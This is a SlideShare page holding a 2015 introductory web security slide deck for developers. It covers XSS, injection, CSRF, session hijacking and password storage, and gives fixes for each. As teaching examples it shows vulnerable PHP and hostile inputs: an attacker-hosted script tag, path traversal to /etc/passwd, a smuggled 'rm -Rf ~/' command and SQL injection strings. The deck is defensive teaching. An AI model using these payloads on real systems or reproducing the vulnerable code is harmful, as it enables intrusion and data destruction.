SlideShare a Scribd company logo
© 2015 Adobe Systems Incorporated. All Rights Reserved.
Web Security 101
Brent Shaffer | Matrix Architect
© 2015 Adobe Systems Incorporated. All Rights Reserved. 2
Why are we talking about this?
▪ Your framework / programming language does not do everything for you
▪ Your website is vulnerable
▪ Security through obscurity is not sufficient
▪ Your friends may want to embarrass you
▪ "hactivists" might make you look like a fool
▪ bots are always busy
▪ Many attacks are easy to prevent
▪ The first step is becoming aware of the types of attacks that exist
© 2015 Adobe Systems Incorporated. All Rights Reserved.
3
Kinds of Attacks
2 | Code Injection
3 | Cross Site Request Forgery (CSRF)
4 | Session Hijacking
5 | So many, many more...
1 | Cross Site Scripting (XSS)
© 2015 Adobe Systems Incorporated. All Rights Reserved. 4
Rules of Thumb
▪ All Inputs are Evil!
▪ Do not trust your users
▪ Do not trust your users' cookies, parameters, or HTTP Headers
▪ "All servers are evil" is also a good assumption for end-users
▪ Whitelists are better than blacklists
▪ Never store passwords in plaintext
▪ Never store your passwords in source code
▪ Don't leak error messages
© 2015 Adobe Systems Incorporated. All Rights Reserved. 5
Cross Site Scripting (XSS)
▪ The term XSS describes a specific kind of injection attack
▪ XSS injects Javascript (or other scripts) that run on the victim's client (browser)
▪ This malicious code usually steals cookies of the person who views the infected web page.
▪ Exploits a user's trust of a site. Can be combined with phishing or CSRF to steal all kinds of things.
▪ Accounted for 84% of all website security vulnerabilities (Symantec, 2007)
<script src="http://attacker-site.com/malicious-code.js"> </script>
© 2015 Adobe Systems Incorporated. All Rights Reserved.
▪ Validate user input when storing
▪ Escape when using variables in output
▪ based off the content type it's being used in
▪ Escaping HTML for a variable in JavaScript will not save you
▪ Use Templating Languages
▪ HAML, Twig (PHP), Jinja (Python), Pebble (Java)
▪ If this isn't possible, use Output Escaping
▪ Use a Markup Language if you want user-input rich text
▪ markdown, textile, rst
6
Cross Site Scripting (XSS)
© 2015 Adobe Systems Incorporated. All Rights Reserved. 7
Code Injection
▪ Comes in many forms
▪ Command-Line injection
▪ SQL-injection
▪ HTML
▪ JavaScript (XSS)
© 2015 Adobe Systems Incorporated. All Rights Reserved. 8
Code Injection - Command-Line injection
▪ File paths based on user input is NOT OKAY
$user_id = $_GET['user_id'];
$file = "/some/path/config/$user_id.json";
require $file;
▪ Attackers can access filesystem using "upwards" paths
?user_id=../../../etc/passwd #
© 2015 Adobe Systems Incorporated. All Rights Reserved. 9
$user_id = $_GET['user_id'];
$pic = "/some/path/pictures/$user_id.jpg";
if (`ls $pic`) { ... }
Code Injection - Command-Line injection
▪ Avoid user input when executing on the command line
▪ Commands like exec, passthru, and system are often used to execute bash commands
?user_id=./ && rm -Rf ~/
© 2015 Adobe Systems Incorporated. All Rights Reserved. 10
$user_id = $_GET['user_id'];
$file = "/some/path/config/$user_id.json";
eval ("file_get_contents('$pic');");
Code Injection - Command-Line injection
▪ Avoid using dynamic code execution
▪ Commands like eval are used to dynamically evaluate PHP code
?user_id=foo');file_get_contents('etc/passwd
© 2015 Adobe Systems Incorporated. All Rights Reserved. 11
▪ strip “upwards” paths
▪ ensure all files are relative to a safe “root”
▪ be very strict on validation
▪ output-escaping depending on the context
▪ escapeshellcmd for exec
▪ addslashes for eval
▪ use with extreme caution
Code Injection - Command-Line injection
© 2015 Adobe Systems Incorporated. All Rights Reserved. 12
Code Injection - SQL injection
© xkcd.com
© 2015 Adobe Systems Incorporated. All Rights Reserved. 13
▪ Similar to code injection, but happens when user input is used as part of a SQL query
$search = $_GET['search'];
$sql = "SELECT * FROM students WHERE name = '$search'";
▪ Can be used to delete, corrupt, or steal data.
?search=';DROP ALL TABLES
?search=';UPDATE students SET name=jerkface
?search=foo' OR public=0
Code Injection - SQL injection
© 2015 Adobe Systems Incorporated. All Rights Reserved. 14
▪ SANITIZE YOUR INPUTS
▪ use "bound variables"
$search = $_GET['search'];
$sql = "SELECT * FROM students WHERE name = ?";
$statement = $pdo->prepare($sql, $search);
$statement->execute();
▪ Use ORMs / Database Abstraction Layers when possible
Code Injection - SQL injection
© 2015 Adobe Systems Incorporated. All Rights Reserved. 15
Cross-Site Request Forgery (CSRF)
▪ Exploits the browsers running on the client
▪ Exploits a site's trust in its users
▪ Victim is logged into Vulnerable Website
▪ Attacker has Victim make a request to Vulnerable Website without them knowing
▪ Victim submits a form on Fake Website, but it actually posts to Vulnerable Website
▪ Victim clicks a link it believes is for Fake Website, but it actually goes to Vulnerable Website
▪ An action is executed on behalf of Victim that they did not intend
https://facebook.com/authorize?client_id=HackerGuy&authorized=true
▪ The Infamous "Samy Worm"
© 2015 Adobe Systems Incorporated. All Rights Reserved. 16
▪ Validate the Referrer
▪ The HTTP Referrer header says which URL initiated the request
▪ You can use this to block from any referrer that isn't you
▪ Only works if a whitelist can be constructed for where the requests will come from
▪ Use a CSRF-Token
▪ This is a token generated for each request based on the client's session ID
▪ Each form submits this back to the website
▪ Very difficult for an attacker to spoof
<input type="hidden" name="csrf"
value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt">
Cross-Site Request Forgery (CSRF)
© 2015 Adobe Systems Incorporated. All Rights Reserved. 17
Session Hijacking
▪ Similar to CSRF
▪ The attacker obtains the victim's cookie, and is then able to perform actions on their behalf
▪ Typically done for websites not secured with SSL/HTTPS
▪ Open networks and insecure networks (WEP) commonly found in public areas make it possible to
view other traffic on the same router
▪ Plugins make this incredibly easy
▪ FireSheep / Cookie Cadger / DroidSheep
▪ Sniffing is easy with tools like WireShark
© 2015 Adobe Systems Incorporated. All Rights Reserved. 18
Session Hijacking
▪ Use SSL/HTTPS you dummy!
▪ It is not enough to only secure the page the user logs into
▪ Don't allow HTTP on any site with user logins
▪ As the end user, usually whining and complaining can go a long way
▪ A few months after FireSheep, Facebook and Twitter implemented HTTPS throughout the site
© 2015 Adobe Systems Incorporated. All Rights Reserved.
Proper Password Management
19
▪ NEVER STORE PASSWORDS IN PLAINTEXT
▪ always use a hash (one-way)
▪ just hashing is not enough
▪ Lookup Tables / Rainbow Tables
▪ all passwords < 7 characters require 64GB space to crack
▪ always use a salt
▪ a random unique string for each password
© 2015 Adobe Systems Incorporated. All Rights Reserved. 20
Proper Password Management
▪ Brute Forcing
▪ a lot faster than you think
▪ 2012 Macbook Pro for salted MD5s:
▪ 6 char passwords: 5 hours
▪ 7 char passwords: 22 days
▪ entire english language: 1.8 seconds
▪ How to combat
▪ Use slow algorithms
▪ Iterate over hashing functions a lot of times
▪ require 8-character passwords, numbers/symbols, etc.
© 2015 Adobe Systems Incorporated. All Rights Reserved. 21
Resources
▪ Top 10 Common Attacks: https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet
▪ Automatic SQL Injection & Database Takeover Tool: http://sqlmap.org
▪ Amazon Mistake: http://www.devfactor.net/2014/12/30/2375-amazon-mistake/
▪ Burger King Hack: http://mashable.com/2013/02/18/burger-king-twitter-account-hacked/
▪ Twitter Hack: http://countermeasures.trendmicro.eu/twitter-not-hacked-by-iranian-cyber-army/
▪ Samy's Confession: http://namb.la/popular/tech.html
▪ Bobby Tables: http://bobby-tables.com
▪ Notorious Hacks: http://www.arnnet.com.au/slideshow/341113/top-10-most-notorious-cyber-attacks-history
▪ Passwords: http://www.slideshare.net/ircmaxell/password-storage-and-attacking-in-php-php-argentina
▪ More Good Slides: http://www.slideshare.net/mpeters/web-security-101
© 2015 Adobe Systems Incorporated. All Rights Reserved.
22
Brent Shaffer
bshafs@gmail.com
Twitter: @bshaffer
Github: @bshaffer
Questions?
© 2015 Adobe Systems Incorporated. All Rights Reserved. Adobe Confidential.

More Related Content

What's hot

Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security Forgot
Jeremiah Grossman
 
Client-side JavaScript Vulnerabilities
Client-side JavaScript VulnerabilitiesClient-side JavaScript Vulnerabilities
Client-side JavaScript Vulnerabilities
Ory Segal
 
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuOAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
Antonio Sanso
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Web Application Security: Winning When The Odds Are Against You
Web Application Security: Winning When The Odds Are Against YouWeb Application Security: Winning When The Odds Are Against You
Web Application Security: Winning When The Odds Are Against You
bendechrai
 
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
lokeshpidawekar
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Mikhail Egorov
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
CODE BLUE
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
GarethHeyes
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
Eoin Keary
 
Attacking Drupal
Attacking DrupalAttacking Drupal
Attacking Drupal
Greg Foss
 
Phpnw security-20111009
Phpnw security-20111009Phpnw security-20111009
Phpnw security-20111009
Paul Lemon
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
Krzysztof Kotowicz
 
WordPress Security Best Practices
WordPress Security Best PracticesWordPress Security Best Practices
WordPress Security Best Practices
Zero Point Development
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
testuser1223
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)
Soham Kansodaria
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
EC-Council
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 

What's hot (20)

Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security Forgot
 
Client-side JavaScript Vulnerabilities
Client-side JavaScript VulnerabilitiesClient-side JavaScript Vulnerabilities
Client-side JavaScript Vulnerabilities
 
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuOAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Web Application Security: Winning When The Odds Are Against You
Web Application Security: Winning When The Odds Are Against YouWeb Application Security: Winning When The Odds Are Against You
Web Application Security: Winning When The Odds Are Against You
 
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Attacking Drupal
Attacking DrupalAttacking Drupal
Attacking Drupal
 
Phpnw security-20111009
Phpnw security-20111009Phpnw security-20111009
Phpnw security-20111009
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
 
WordPress Security Best Practices
WordPress Security Best PracticesWordPress Security Best Practices
WordPress Security Best Practices
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
 
DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 

Similar to Web Security 101

Presentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web ApplicationPresentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web Application
Md Mahfuzur Rahman
 
Web security for app developers
Web security for app developersWeb security for app developers
Web security for app developers
Pablo Gazmuri
 
New Security Issues related to Embedded Web Servers
New Security Issues related to Embedded Web ServersNew Security Issues related to Embedded Web Servers
New Security Issues related to Embedded Web Servers
Eric Vétillard
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Security Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training ProgramSecurity Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan GandhiReliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan Gandhibhumika2108
 
API SECURITY
API SECURITYAPI SECURITY
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFOWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFBrian Huff
 
Attacking Web Applications
Attacking Web ApplicationsAttacking Web Applications
Attacking Web Applications
Sasha Goldshtein
 
You wanna crypto in AEM
You wanna crypto in AEMYou wanna crypto in AEM
You wanna crypto in AEMDamien Antipa
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
Nahidul Kibria
 
Xamarin security talk slideshare
Xamarin security talk slideshareXamarin security talk slideshare
Xamarin security talk slideshare
Marcus de Wilde
 
Web Security
Web SecurityWeb Security
Web Security
KHOANGUYNNGANH
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
Shubham Gupta
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
David Stockton
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
bilcorry
 
Hacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 

Similar to Web Security 101 (20)

Presentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web ApplicationPresentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web Application
 
Web security for app developers
Web security for app developersWeb security for app developers
Web security for app developers
 
New Security Issues related to Embedded Web Servers
New Security Issues related to Embedded Web ServersNew Security Issues related to Embedded Web Servers
New Security Issues related to Embedded Web Servers
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Security Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training ProgramSecurity Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training Program
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan GandhiReliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
 
API SECURITY
API SECURITYAPI SECURITY
API SECURITY
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADFOWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
 
Attacking Web Applications
Attacking Web ApplicationsAttacking Web Applications
Attacking Web Applications
 
You wanna crypto in AEM
You wanna crypto in AEMYou wanna crypto in AEM
You wanna crypto in AEM
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Xamarin security talk slideshare
Xamarin security talk slideshareXamarin security talk slideshare
Xamarin security talk slideshare
 
Web Security
Web SecurityWeb Security
Web Security
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Cqcon2015
Cqcon2015Cqcon2015
Cqcon2015
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Hacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass Firewalls
 

More from Brent Shaffer

HTTP - The Protocol of Our Lives
HTTP - The Protocol of Our LivesHTTP - The Protocol of Our Lives
HTTP - The Protocol of Our Lives
Brent Shaffer
 
Why Open Source is better than Your Homerolled Garbage
Why Open Source is better than Your Homerolled GarbageWhy Open Source is better than Your Homerolled Garbage
Why Open Source is better than Your Homerolled Garbage
Brent Shaffer
 
OAuth 2.0 (as a comic strip)
OAuth 2.0 (as a comic strip)OAuth 2.0 (as a comic strip)
OAuth 2.0 (as a comic strip)
Brent Shaffer
 
In The Future We All Use Symfony2
In The Future We All Use Symfony2In The Future We All Use Symfony2
In The Future We All Use Symfony2
Brent Shaffer
 
Symfony Events
Symfony EventsSymfony Events
Symfony Events
Brent Shaffer
 
Nashville Symfony Functional Testing
Nashville Symfony Functional TestingNashville Symfony Functional Testing
Nashville Symfony Functional Testing
Brent Shaffer
 
Nashvile Symfony Routes Presentation
Nashvile Symfony Routes PresentationNashvile Symfony Routes Presentation
Nashvile Symfony Routes Presentation
Brent Shaffer
 
Nashville Php Symfony Presentation
Nashville Php Symfony PresentationNashville Php Symfony Presentation
Nashville Php Symfony Presentation
Brent Shaffer
 

More from Brent Shaffer (8)

HTTP - The Protocol of Our Lives
HTTP - The Protocol of Our LivesHTTP - The Protocol of Our Lives
HTTP - The Protocol of Our Lives
 
Why Open Source is better than Your Homerolled Garbage
Why Open Source is better than Your Homerolled GarbageWhy Open Source is better than Your Homerolled Garbage
Why Open Source is better than Your Homerolled Garbage
 
OAuth 2.0 (as a comic strip)
OAuth 2.0 (as a comic strip)OAuth 2.0 (as a comic strip)
OAuth 2.0 (as a comic strip)
 
In The Future We All Use Symfony2
In The Future We All Use Symfony2In The Future We All Use Symfony2
In The Future We All Use Symfony2
 
Symfony Events
Symfony EventsSymfony Events
Symfony Events
 
Nashville Symfony Functional Testing
Nashville Symfony Functional TestingNashville Symfony Functional Testing
Nashville Symfony Functional Testing
 
Nashvile Symfony Routes Presentation
Nashvile Symfony Routes PresentationNashvile Symfony Routes Presentation
Nashvile Symfony Routes Presentation
 
Nashville Php Symfony Presentation
Nashville Php Symfony PresentationNashville Php Symfony Presentation
Nashville Php Symfony Presentation
 

Recently uploaded

May Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdfMay Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdf
Adele Miller
 
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Crescat
 
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI AppAI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
Google
 
Enterprise Resource Planning System in Telangana
Enterprise Resource Planning System in TelanganaEnterprise Resource Planning System in Telangana
Enterprise Resource Planning System in Telangana
NYGGS Automation Suite
 
Graspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code AnalysisGraspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code Analysis
Aftab Hussain
 
Fundamentals of Programming and Language Processors
Fundamentals of Programming and Language ProcessorsFundamentals of Programming and Language Processors
Fundamentals of Programming and Language Processors
Rakesh Kumar R
 
openEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain SecurityopenEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain Security
Shane Coughlan
 
E-commerce Application Development Company.pdf
E-commerce Application Development Company.pdfE-commerce Application Development Company.pdf
E-commerce Application Development Company.pdf
Hornet Dynamics
 
A Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of PassageA Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of Passage
Philip Schwarz
 
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
Łukasz Chruściel
 
Automated software refactoring with OpenRewrite and Generative AI.pptx.pdf
Automated software refactoring with OpenRewrite and Generative AI.pptx.pdfAutomated software refactoring with OpenRewrite and Generative AI.pptx.pdf
Automated software refactoring with OpenRewrite and Generative AI.pptx.pdf
timtebeek1
 
LORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOM
LORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOMLORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOM
LORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOM
lorraineandreiamcidl
 
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdfVitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke
 
GraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph TechnologyGraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph Technology
Neo4j
 
Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604
Fermin Galan
 
OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024
OpenMetadata
 
Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"
Donna Lenk
 
Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...
Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...
Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...
Mind IT Systems
 
AI Genie Review: World’s First Open AI WordPress Website Creator
AI Genie Review: World’s First Open AI WordPress Website CreatorAI Genie Review: World’s First Open AI WordPress Website Creator
AI Genie Review: World’s First Open AI WordPress Website Creator
Google
 
GOING AOT WITH GRAALVM FOR SPRING BOOT (SPRING IO)
GOING AOT WITH GRAALVM FOR  SPRING BOOT (SPRING IO)GOING AOT WITH GRAALVM FOR  SPRING BOOT (SPRING IO)
GOING AOT WITH GRAALVM FOR SPRING BOOT (SPRING IO)
Alina Yurenko
 

Recently uploaded (20)

May Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdfMay Marketo Masterclass, London MUG May 22 2024.pdf
May Marketo Masterclass, London MUG May 22 2024.pdf
 
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
 
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI AppAI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
AI Fusion Buddy Review: Brand New, Groundbreaking Gemini-Powered AI App
 
Enterprise Resource Planning System in Telangana
Enterprise Resource Planning System in TelanganaEnterprise Resource Planning System in Telangana
Enterprise Resource Planning System in Telangana
 
Graspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code AnalysisGraspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code Analysis
 
Fundamentals of Programming and Language Processors
Fundamentals of Programming and Language ProcessorsFundamentals of Programming and Language Processors
Fundamentals of Programming and Language Processors
 
openEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain SecurityopenEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain Security
 
E-commerce Application Development Company.pdf
E-commerce Application Development Company.pdfE-commerce Application Development Company.pdf
E-commerce Application Development Company.pdf
 
A Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of PassageA Sighting of filterA in Typelevel Rite of Passage
A Sighting of filterA in Typelevel Rite of Passage
 
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
 
Automated software refactoring with OpenRewrite and Generative AI.pptx.pdf
Automated software refactoring with OpenRewrite and Generative AI.pptx.pdfAutomated software refactoring with OpenRewrite and Generative AI.pptx.pdf
Automated software refactoring with OpenRewrite and Generative AI.pptx.pdf
 
LORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOM
LORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOMLORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOM
LORRAINE ANDREI_LEQUIGAN_HOW TO USE ZOOM
 
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdfVitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdf
 
GraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph TechnologyGraphSummit Paris - The art of the possible with Graph Technology
GraphSummit Paris - The art of the possible with Graph Technology
 
Orion Context Broker introduction 20240604
